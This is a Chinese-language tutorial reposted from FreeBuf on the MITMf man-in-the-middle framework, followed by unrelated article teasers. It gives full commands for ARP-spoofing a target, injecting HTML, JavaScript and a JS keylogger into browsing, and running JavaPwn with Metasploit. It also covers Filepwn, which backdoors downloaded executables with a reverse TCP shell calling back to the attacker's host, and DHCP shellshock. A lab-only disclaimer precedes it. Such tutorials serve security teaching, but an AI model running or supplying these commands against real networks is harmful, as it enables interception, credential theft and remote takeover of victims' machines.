热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

内网劫持渗透新姿势:MITMf简要指南

声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境。0×01题记又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下。子曰:“长得

声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境。

0×01 题记

又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下。子曰:“长得丑就要多读书!”于是有了这篇文章。

0×02 简要介绍

这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf。工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来。这里是工具的地址:

https://github.com/byt3bl33d3r/MITMf

关于工具的一些简介也在git的READEME中说到了。工具本身比较新,没找到中文指南,这里就写一篇文章与大家一起交流探讨。

刚一看到这个工具的时候,第一感觉不过是一个中间人攻击的集合品,也没多大兴趣。本来嘛,这个概念也已经被谈烂了。但是当我真的搭好环境开始玩的时候才发现其实这个框架还是有点意思的,可扩展性非常高。除了“劫持”的概念外,一些插件也起到了“渗透”的作用。

0×03 工具配置

MITMf不支持多系统平台,虽然是python写的,但是玩过以后才发现根本就是给linux量身做的,所以这里想玩的同学如果是win环境的话,可以考虑用虚拟机了,这里建议使用Kali/Linux。

首先git下整个框架

#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/

然后我们进行简单的安装

cd /opt/mitmf
./install-bdfactory.sh

完成之后,进行下一步的安装操作

cd bdfactory/
./install.sh

然后,运行的时候我们会发现仍然没办法启动MITMf,会提示一些模块缺失,我们按照指示说的依次用pip安装一下就可以。

这里需要注意一点,因为部分模块的源是在google上面的,pip会安装不上(如pefile),这时候可以自己去https://pypi.python.org/pypi 下载一下然后手动安装,安装命令是

python xxxx install

另外,需要自行手动安装python-nfqueue模块

sudo apt-get install python-nfqueue

0×04 基本功能:COOKIEs盗取,dns劫持,js注入…

这时候我们应该能够成功启动mitmf了。输入./mitmf.py -h 得到以下帮助界面:

工具有几项基本功能:

sslstrip模块

这个我不多说大家也都能明白,默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。

Filepwn模块

主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块

清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以参考EtherDream同学的JS缓存投毒的文章,不细说。

Spoof模块

十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,我们可以通过shellshock参数进行指定。下面我也会有图片进行证明演示。

BeEFAutorun模块

该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大,姿势,也更猥琐了。

Replace模块

这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。

Inject模块

可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文我们还会说到。

Browser Profiler插件

枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。

JavaPwn模块

可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同学没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块

一个键盘记录js,后文会有介绍

App Cache Poison

app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的进行攻击测试。是Krzysztof Kotowicz的补充模块。

Upsidedownternet

恶搞模块,让浏览者的世界翻转。

以上是工具的简单介绍,其中不少是很多功能大家都已经玩过了,所以我就单挑几个给大家展示一下。

Inject模块的注入功能

我们首先注入一个html:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

效果图

然后我们再注入一个js看看:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

效果图

然后是工具自带的keylogger的js,我们看一下效果怎么样:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger

效果图

经测试,密码截获DNS劫持什么的都不是问题,这里鉴于篇幅就不再展示了。

0×05 进阶玩法

以上是我们进行的一些基本的玩法,目的只是让大家看一下。功能比较基础大家用的也比较多,接下来的部分,主要给大家展示一下该框架是如何结合强大的metasploit进行“渗透”的。

(一)利用java漏洞进行攻击测试

首先,我们使用的是javapwn模块。这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url(类似:http://192.168.111.111/UIhsdaVx),使得攻击更为自然。

将metasploit打开,然后载入msgrpc模块

#msfconsole
msf 
> load msgrpc Pass=abc123

其他部分保持默认就好了。然后是MITMf端,输入以下命令:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137

然后我们就只需要等待就可以了,喝杯咖啡等一下。。这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。

如果顺利,我们的jar就被执行了。

这是开始运行等待的时候

成功得到shell

这两张是成功得到shell的界面。因为我的靶机中的java是最新的,msf中的payload无法溢出,只是在靶机中生成了无数的连接。所以这里的图是盗的。

(二)为PE文件注入后门实现渗透

使用Filepwn模块,与msf结合同样可以获得shell。简单说一下Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持zip和tar.gz格式解包,支持各种可执行文件。

同样我们打开metasploit,使用handler,开始监听:

msfconsole
use exploit
/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run

在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.217.137        
PORT = 1447        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………

接下来是MITMf:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --filepwn

然后就是等待靶机下载文件然后执行就可以了。

最后我们的靶机执行了文件,然后msf获得到了shell。下面是最终结果:


点此看大图

(三)娱乐一下

最后再看一下“破壳”是如何在DHCP中起作用的

./mitmf.py --iface eth0 --spoof --dhcp --shellshock

这里的命令可以用cmd参数自行指定。

关于这个问题大家一致的思路是这样的:我们的手机IOS、Android都是基于unix的,所以如果我们搭建一个dhcp的WIFI服务器,能有什么收获呢?

0×06 总结

这个工具其实说白了就是一个中间人攻击测试的大集合,集各种功能于一身,同时扩展了BeEF框架和Metasploit的接口,使攻击测试姿势更加丰富。而且,也十分与时俱进的扩展了网页应用的毒化功能,同时给我们带来了更多的想法:中间人攻击,真的只是劫持截包这么简单么?内网渗透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是肯定的!:)

文章到这里暂时告一段落,简要介绍了几个MITMf的基础功能,更多扩展工具阅读

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

如果有更好玩的东西,我会继续与大家分享。

0×07 最后的小插曲

写文章的前一天晚上,室友看我测试各种攻击测试姿势,然后看了一会儿感叹说,网络越来越不安全了,真是处处是坑,一不小心就可能中招。然后,我们相视苦笑。。。

现在,问题来了:挖坑得用挖掘机。

[文/FreeBuf小编xia0k 原创 转载请注明FreeBuf.COM]

如文中未特别声明转载请注明出自:FreebuF.COM


推荐阅读
  • Python已成为全球最受欢迎的编程语言之一,然而Python程序的安全运行存在一定的风险。本文介绍了Python程序安全运行需要满足的三个条件,即系统路径上的每个条目都处于安全的位置、"主脚本"所在的目录始终位于系统路径中、若python命令使用-c和-m选项,调用程序的目录也必须是安全的。同时,文章还提出了一些预防措施,如避免将下载文件夹作为当前工作目录、使用pip所在路径而不是直接使用python命令等。对于初学Python的读者来说,这些内容将有所帮助。 ... [详细]
  • sklearn数据集库中的常用数据集类型介绍
    本文介绍了sklearn数据集库中常用的数据集类型,包括玩具数据集和样本生成器。其中详细介绍了波士顿房价数据集,包含了波士顿506处房屋的13种不同特征以及房屋价格,适用于回归任务。 ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • 本文介绍了Composer依赖管理的重要性及使用方法。对于现代语言而言,包管理器是标配,而Composer作为PHP的包管理器,解决了PEAR的问题,并且使用简单,方便提交自己的包。文章还提到了使用Composer能够避免各种include的问题,避免命名空间冲突,并且能够方便地安装升级扩展包。 ... [详细]
  • EzPP 0.2发布,新增YAML布局渲染功能
    EzPP发布了0.2.1版本,新增了YAML布局渲染功能,可以将YAML文件渲染为图片,并且可以复用YAML作为模版,通过传递不同参数生成不同的图片。这个功能可以用于绘制Logo、封面或其他图片,让用户不需要安装或卸载Photoshop。文章还提供了一个入门例子,介绍了使用ezpp的基本渲染方法,以及如何使用canvas、text类元素、自定义字体等。 ... [详细]
  • 开源Keras Faster RCNN模型介绍及代码结构解析
    本文介绍了开源Keras Faster RCNN模型的环境需求和代码结构,包括FasterRCNN源码解析、RPN与classifier定义、data_generators.py文件的功能以及损失计算。同时提供了该模型的开源地址和安装所需的库。 ... [详细]
  • 本文介绍了在go语言中利用(*interface{})(nil)传递参数类型的原理及应用。通过分析Martini框架中的injector类型的声明,解释了values映射表的作用以及parent Injector的含义。同时,讨论了该技术在实际开发中的应用场景。 ... [详细]
  • 微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享,包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性,并提供了一些建议。 ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • YOLOv7基于自己的数据集从零构建模型完整训练、推理计算超详细教程
    本文介绍了关于人工智能、神经网络和深度学习的知识点,并提供了YOLOv7基于自己的数据集从零构建模型完整训练、推理计算的详细教程。文章还提到了郑州最低生活保障的话题。对于从事目标检测任务的人来说,YOLO是一个熟悉的模型。文章还提到了yolov4和yolov6的相关内容,以及选择模型的优化思路。 ... [详细]
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
  • Python字典推导式及循环列表生成字典方法
    本文介绍了Python中使用字典推导式和循环列表生成字典的方法,包括通过循环列表生成相应的字典,并给出了执行结果。详细讲解了代码实现过程。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 一句话解决高并发的核心原则
    本文介绍了解决高并发的核心原则,即将用户访问请求尽量往前推,避免访问CDN、静态服务器、动态服务器、数据库和存储,从而实现高性能、高并发、高可扩展的网站架构。同时提到了Google的成功案例,以及适用于千万级别PV站和亿级PV网站的架构层次。 ... [详细]
  • 本文介绍了互联网思维中的三个段子,涵盖了餐饮行业、淘品牌和创业企业的案例。通过这些案例,探讨了互联网思维的九大分类和十九条法则。其中包括雕爷牛腩餐厅的成功经验,三只松鼠淘品牌的包装策略以及一家创业企业的销售额增长情况。这些案例展示了互联网思维在不同领域的应用和成功之道。 ... [详细]
author-avatar
patrick0129_645
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有